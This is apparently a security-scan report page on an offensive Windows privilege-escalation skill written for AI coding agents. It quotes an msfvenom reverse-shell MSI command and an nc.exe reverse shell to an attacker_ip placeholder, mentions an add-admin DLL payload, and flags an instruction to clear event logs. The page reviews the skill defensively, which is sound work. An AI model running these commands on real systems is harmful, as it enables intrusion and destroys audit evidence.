Announcing Beacon: Self-improving memory for coding agents
← All skills
Skill

offensive-windows-privesc

skill:snailsploit/claude-red#offensive-windows-privesc

Comprehensive Windows privilege escalation methodology for offensive security engagements. Covers the full attack surface from a standard user shell to NT AUTHORITY\SYSTEM: token impersonation via SeImpersonate and SeAssignPrimaryToken privileges using JuicyPotato, PrintSpoofer, GodPotato, SweetPotato, and RoguePotato; service misconfigurations including unquoted service paths, weak service DACLs, writable service binaries, and insecure service creation permissions; AlwaysInstallElevated MSI exploitation; DLL hijacking through search order abuse, phantom DLL loading, and writable PATH directory injection; UAC bypass techniques via fodhelper.exe, eventvwr.exe, CMSTP, and environment variable manipulation; scheduled task abuse for writable task actions and new task creation; registry autorun exploitation for persistence and escalation; PrintNightmare (CVE-2021-34527) for remote and local privilege escalation; and credential harvesting from SAM database extraction, DPAPI blob decryption, LSA secret dumping, and

Verdict
Suspicious

Risky behavior the analysis could not rule out.

Analyzed Oct 27, 2026, 23:44 UTC at a8de813

Dispute security verdict

If you believe this verdict is incorrect, submit a dispute and we'll review it.

1
findings
high
highest severity
1
threat classes
97
files scanned
77/102
checks satisfied
0
package advisories

Why this verdict

  • suspicious: finding skill:Skills/privesc/offensive-windows-privesc:Skills/privesc/offensive-windows-privesc/SKILL.md:559:DESTRUCT

Security findings 1

Destructive action

highContextual riskmedium confidence

The engagement cheatsheet instructs the agent to clear PowerShell history and Windows event logs on the target, an anti-forensics action that destroys audit evidence and is not part of the declared escalation methodology.

Clear PowerShell history and event logs (if authorized)
vector:instruction
Counter-argument considered

Clearing PowerShell history and event logs is anti-forensic destruction of target audit evidence: it is not the declared escalation/enumeration capability, appears nowhere in the frontmatter, contradicts the declared defender-visibility purpose, and no carve-out covers destruction of audit logs, so the finding stands.

Open questions 8

What the analysis could not settle from the code alone.

No authorization, scoping, or consent check appears anywhere in the shown content, so whether these offensive instructions would be applied only to authorized engagement targets cannot be verified from the artifact.
[file request Skills/privesc/offensive-windows-privesc/winPEASx64.exe] Does the artifact ship the winPEASx64.exe binary invoked by '.winPEASx64.exe' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?
Supply chain
[file request Skills/privesc/offensive-windows-privesc/SharpUp.exe] Does the artifact ship the SharpUp.exe binary invoked by '.SharpUp.exe audit' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?
Supply chain
[file request Skills/privesc/offensive-windows-privesc/Seatbelt.exe] Does the artifact ship the Seatbelt.exe binary invoked by '.Seatbelt.exe -group=all' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?
Supply chain
[file request Skills/privesc/offensive-windows-privesc/beRoot.exe] Does the artifact ship the beRoot.exe binary invoked by '.beRoot.exe' in the Automated Enumeration section, and if so is it the official build or does it contain added behavior?
Supply chain
[file request Skills/privesc/offensive-windows-privesc/SharpPrintNightmare.exe] Does the artifact ship the SharpPrintNightmare.exe binary invoked by '.SharpPrintNightmare.exe' in the PrintNightmare section, and if so is it the official build or does it contain added behavior?
Supply chain
[file request Skills/privesc/offensive-windows-privesc/PowerUp.ps1] Does the artifact ship the PowerUp.ps1 module invoked by 'Import-Module .//PowerUp.ps1' in the Automated Enumeration section, and if so is it the unmodified official script or does it contain added behavior?
Supply chain
[file request Skills/privesc/offensive-windows-privesc/CVE-2021-34527.ps1] Does the artifact ship the CVE-2021-34527.ps1 PoC invoked by 'Import-Module .//CVE-2021-34527.ps1' in the PrintNightmare section, and if so is it the unmodified public PoC or does it contain added behavior?
Supply chain
Refuted findings 5

Candidates the review stage examined and rejected, kept for transparency.

Code execution

criticalRefutedlow confidence

The skill instructs the agent to generate an msfvenom reverse-shell MSI and silently install it via msiexec under the AlwaysInstallElevated configuration, executing attacker code with SYSTEM privileges.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f msi -o escalate.msi
Why it was refuted

Generating an msfvenom MSI and silently installing it is exactly the 'AlwaysInstallElevated MSI exploitation' technique the frontmatter declares for this authorized-pentest skill, and it is a canonical documented payload in security-education material, so the harm and undeclared gates fail on the carve-out.

Code execution

criticalRefutedlow confidence

The PrintNightmare section instructs the agent to build and load a DLL whose DllMain executes system commands as SYSTEM to create user 'hacker' with a known password and add it to the local administrators group on the target host.

system(
Why it was refuted

The DllMain add-admin payload is the canonical documented demonstration for the explicitly declared PrintNightmare (CVE-2021-34527) escalation capability, and the skill's declared goal includes reaching local Administrator, so the harm and undeclared gates fail on the carve-out.

Code execution

criticalRefutedlow confidence

The skill's exploitation recipes instruct the agent to run potato-family/service/UAC/scheduled-task escalation commands whose example payloads attach a reverse shell (nc.exe) to attacker_ip:4444, handing a SYSTEM-level shell to a remote host.

nc.exe attacker_ip 4444 -e cmd.exe
Why it was refuted

Every technique listed (potato family, service DACL abuse, UAC bypass, scheduled task creation) is declared verbatim in the frontmatter and the nc.exe reverse-shell examples are the canonical documented payloads in security-education material, so the harm and undeclared gates fail on the carve-outs.

Supply chain

highRefutedhigh confidence

SKILL.md's Automated Enumeration section instructs the agent to run 'Import-Module .PowerUp.ps1' from a relative path that the repository does not ship, so at runtime the command imports and executes unreviewable content from whatever exists at that path.

Import-Module .
Why it was refuted

The import is the standard invocation of PowerUp, a tool whose integration the frontmatter explicitly declares and whose official source the skill's references point to, so this is declared core tooling in security-education material rather than an undeclared supply-chain vector; the finding's unshipped-file premise is additionally unverified by any shown evidence.

Supply chain

highRefutedhigh confidence

SKILL.md's PrintNightmare section instructs the agent to run 'Import-Module .CVE-2021-34527.ps1' from a relative path that the repository does not ship, so at runtime the import executes unreviewable code from whatever exists at that path before Invoke-Nightmare is invoked.

Import-Module .
Why it was refuted

Importing the PowerShell PoC is the documented usage for the explicitly declared 'PrintNightmare (CVE-2021-34527) for remote and local privilege escalation' capability of this authorized-pentest skill, so the harm and undeclared gates fail on the carve-out.

Coverage gaps 57

Parts of the artifact the static analysis could not fully examine.

context:unanalyzable_binary binary content is only byte-scanned
Skills/.DS_Store
skill_frontmatter_invalid missing name/description frontmatter
Skills/ai/offensive-ai-security/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/auth/offensive-oauth/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/exploit-dev/offensive-basic-exploitation/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/exploit-dev/offensive-crash-analysis/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/exploit-dev/offensive-exploit-dev-course/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/exploit-dev/offensive-exploit-development/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/exploit-dev/offensive-mitigations/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/fuzzing/offensive-bug-identification/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/fuzzing/offensive-fuzzing-course/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/fuzzing/offensive-vuln-classes/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/infrastructure/offensive-edr-evasion/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/infrastructure/offensive-initial-access/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/infrastructure/offensive-keylogger-arch/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/infrastructure/offensive-windows-boundaries/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/infrastructure/offensive-windows-mitigations/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/recon/offensive-osint-methodology/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/utility/offensive-fast-checking/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-file-upload/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-idor/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-open-redirect/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-parameter-pollution/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-race-condition/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-rce/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-request-smuggling/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-ssrf/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-waf-bypass/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-xss/SKILL.md
skill_frontmatter_invalid missing name/description frontmatter
Skills/web/offensive-xxe/SKILL.md
ledger_finding_without_valid_finding run 1: instruction-surface.0 SRC:3cc0b83c98aceb0a
ledger_finding_without_valid_finding run 1: instruction-surface.0 SRC:7c20b3b503afba54
ledger_finding_without_valid_finding run 1: instruction-surface.0 SRC:6b7e2d05a556cdbc
ledger_finding_without_valid_finding run 1: instruction-surface.0 SRC:766c79a3bd78af5a
ledger_finding_without_valid_finding run 1: instruction-surface.0 SRC:7b4cde3aff0d57d4
ledger_finding_without_valid_finding run 1: instruction-surface.0 SRC:692263427fe98d2e
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:40f679e96cd9215c
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:680e6d19097daad1
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:25c75fa89e9340db
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:5e2d75cc6d60ccf4
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:8adbc5d912278272
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:f4f9df7f42d7b571
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:a98e7cdf46d84af1
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:613b63b306149be9
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:83848126c84b4f9e
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:5b73d2f55f819601
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:9b39c07fa5cb0b6c
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:3cc0b83c98aceb0a
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:9c4d95e271c8ead3
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:69f572cf68dd5a70
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:f3ebf7e6e7fefefa
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:6b7e2d05a556cdbc
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:766c79a3bd78af5a
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:7b4cde3aff0d57d4
ledger_finding_without_valid_finding run 1: behavior-chains.0 SRC:692263427fe98d2e
invalid_judge_finding instruction-surface.0
invalid_judge_finding behavior-chains.0
invalid_judge_finding request.1